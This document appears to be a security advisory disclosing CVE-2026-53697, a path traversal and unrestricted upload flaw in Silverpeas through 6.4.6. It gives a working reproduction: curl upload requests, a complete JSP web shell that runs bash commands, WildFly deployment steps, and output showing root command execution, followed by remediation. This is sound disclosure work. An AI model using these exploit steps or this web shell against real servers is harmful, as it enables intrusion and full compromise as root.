> ## Documentation Index
> Fetch the complete documentation index at: https://hackwithmike.com/llms.txt
> Use this file to discover all available pages before exploring further.

# CVE-2026-53697: Unrestricted File Upload to Remote Code Execution in Silverpeas

> An unrestricted upload path in Silverpeas through version 6.4.6 allows a low-privilege user to achieve remote code execution.

## Summary

`uploadWebsiteFile.jsp` in Silverpeas through 6.4.6 writes uploaded files to a location supplied through the attacker-controlled `Path` parameter. File-extension restrictions were enforced only in client-side JavaScript. An authenticated low-privilege user can write a JSP or WAR payload into the application server's deployment directory and achieve remote code execution.

| Field             | Details                                                                         |
| ----------------- | ------------------------------------------------------------------------------- |
| CVE               | CVE-2026-53697                                                                  |
| Weaknesses        | CWE-22: Path Traversal; CWE-434: Unrestricted Upload                            |
| Affected versions | Through 6.4.6                                                                   |
| Fixed version     | 6.4.7                                                                           |
| Required access   | Low-privilege authenticated account                                             |
| CVSS 3.1          | 9.9 Critical; `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`                    |
| CVSS 4.0          | 9.4 Critical; `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H` |

## Technical details

`uploadWebsiteFile.jsp` reads the destination directory from the request and passes it directly to `File`:

```java wrap theme={null}
String thePath = request.getParameter("Path");

String fichierName = FileUploadUtil.getFileName(fileItem);
File fichier = new File(thePath, fichierName);
FileUploadUtil.saveToFile(fichier, fileItem);
```

The normal application flow calculates a repository path before forwarding the upload. That protection exists in the calling pages, not in `uploadWebsiteFile.jsp` itself. A direct request can therefore replace the expected repository path with any directory writable by the application server.

The file-type check also runs in client-side JavaScript:

```javascript wrap theme={null}
if (ext.toLowerCase() != "gif" && ext.toLowerCase() != "jpg" &&
    ext.toLowerCase() != "bmp" && ext.toLowerCase() != "png" &&
    ext.toLowerCase() != "pcd" && ext.toLowerCase() != "tga" &&
    ext.toLowerCase() != "tif" && ext.toLowerCase() != "swf") {
  notyError("Unsupported file type");
}
```

Sending the multipart request directly bypasses this browser-side restriction.

## Reproduction

The vulnerable JSP requires an authenticated session and the session's `X-STKN` CSRF token. A single upload of a prebuilt WAR is enough to demonstrate the full impact:

```bash wrap theme={null}
curl -k -X POST \
  -b 'JSESSIONID=<session>' \
  -H 'X-STKN: <csrf-token>' \
  -F 'fichier=@cmd.war;filename=cmd.war' \
  'https://<target>/silverpeas/wysiwyg/jsp/uploadWebsiteFile.jsp?Path=/opt/wildfly/standalone/deployments/'
```

This request does not use the application's upload form, so neither the intended repository path nor the client-side extension allowlist applies.

<Frame caption="A direct request writes the supplied file to the Path directory">
  <img src="https://mintcdn.com/hackwithmike/p7ac3gH7YlwQqU4v/assets/images/research/silverpeas/cve-2026-53697-arbitrary-write.png?fit=max&auto=format&n=p7ac3gH7YlwQqU4v&q=85&s=a52c2685dd54dfdb112f2efabd30cace" alt="Upload request followed by the file appearing in the selected server directory" width="1324" height="759" data-path="assets/images/research/silverpeas/cve-2026-53697-arbitrary-write.png" />
</Frame>

### Building an exploded WAR through separate uploads

The same result can be demonstrated without transferring a prebuilt archive. WildFly accepts an exploded WAR directory containing a JSP, a minimal deployment descriptor, and a deployment marker.

First, upload `cmd.jsp` into a directory named `cmd.war`:

```jsp wrap theme={null}
<%
String command = request.getParameter("cmd");
if (command != null) {
  Process process = Runtime.getRuntime().exec(
      new String[]{"/bin/bash", "-c", command});
  java.io.BufferedReader reader = new java.io.BufferedReader(
      new java.io.InputStreamReader(process.getInputStream()));
  String line;
  while ((line = reader.readLine()) != null) {
    out.println(line);
  }
}
%>
```

```bash wrap theme={null}
curl -k -X POST \
  -b 'JSESSIONID=<session>' \
  -H 'X-STKN: <csrf-token>' \
  -F 'fichier=@cmd.jsp;filename=cmd.jsp' \
  'https://<target>/silverpeas/wysiwyg/jsp/uploadWebsiteFile.jsp?Path=/opt/wildfly/standalone/deployments/cmd.war/'
```

Next, create `WEB-INF/web.xml`:

```xml wrap theme={null}
<?xml version="1.0"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" version="3.1"></web-app>
```

```bash wrap theme={null}
curl -k -X POST \
  -b 'JSESSIONID=<session>' \
  -H 'X-STKN: <csrf-token>' \
  -F 'fichier=@web.xml;filename=web.xml' \
  'https://<target>/silverpeas/wysiwyg/jsp/uploadWebsiteFile.jsp?Path=/opt/wildfly/standalone/deployments/cmd.war/WEB-INF/'
```

Finally, upload an empty `cmd.war.dodeploy` marker into the deployment directory:

```bash wrap theme={null}
touch cmd.war.dodeploy

curl -k -X POST \
  -b 'JSESSIONID=<session>' \
  -H 'X-STKN: <csrf-token>' \
  -F 'fichier=@cmd.war.dodeploy;filename=cmd.war.dodeploy' \
  'https://<target>/silverpeas/wysiwyg/jsp/uploadWebsiteFile.jsp?Path=/opt/wildfly/standalone/deployments/'
```

After deployment, requesting the JSP executes the supplied command:

```http wrap theme={null}
GET /cmd/cmd.jsp?cmd=id HTTP/1.1
Host: <target>
```

```text wrap theme={null}
uid=0(root) gid=0(root) groups=0(root)
```

<Frame caption="Remote code execution through the unrestricted upload path">
  <video controls preload="metadata" alt="Demonstration of using uploadWebsiteFile.jsp to deploy a web shell and execute a command" aria-label="Demonstration of using uploadWebsiteFile.jsp to deploy a web shell and execute a command" style={{ width: '100%' }}>
    <source src="https://mintcdn.com/hackwithmike/p7ac3gH7YlwQqU4v/assets/videos/research/silverpeas/cve-2026-53697-upload-rce.webm?fit=max&auto=format&n=p7ac3gH7YlwQqU4v&q=85&s=fad22070d9c359471da2b605e2ec0998" type="video/webm" data-path="assets/videos/research/silverpeas/cve-2026-53697-upload-rce.webm" />
  </video>
</Frame>

## Impact

A low-privilege user can write attacker-controlled content to any filesystem location available to the Silverpeas process. In the official Docker deployment, targeting WildFly's deployment directory turns the arbitrary file write into operating-system command execution as root.

## Remediation

Upgrade to Silverpeas 6.4.7 or later. The server must choose the upload root, canonicalize the final path, and reject destinations outside that root. File-type restrictions must also be enforced by the server. These checks need to exist in `uploadWebsiteFile.jsp` or a shared server-side upload function so that direct requests cannot bypass them.

## References

* [Research article: file uploads and remote code execution](/research/silverpeas/2026-09#file-uploads-and-remote-code-execution)
* [Silverpeas fix commit](https://github.com/Silverpeas/Silverpeas-Core/commit/dcebe8b3cb1a2ea52dbf0664910911c96d30dcc2)
* [Silverpeas 6.4.7](https://github.com/Silverpeas/Silverpeas-Core/releases/tag/6.4.7)
* [CVE record](https://www.cve.org/CVERecord?id=CVE-2026-53697)
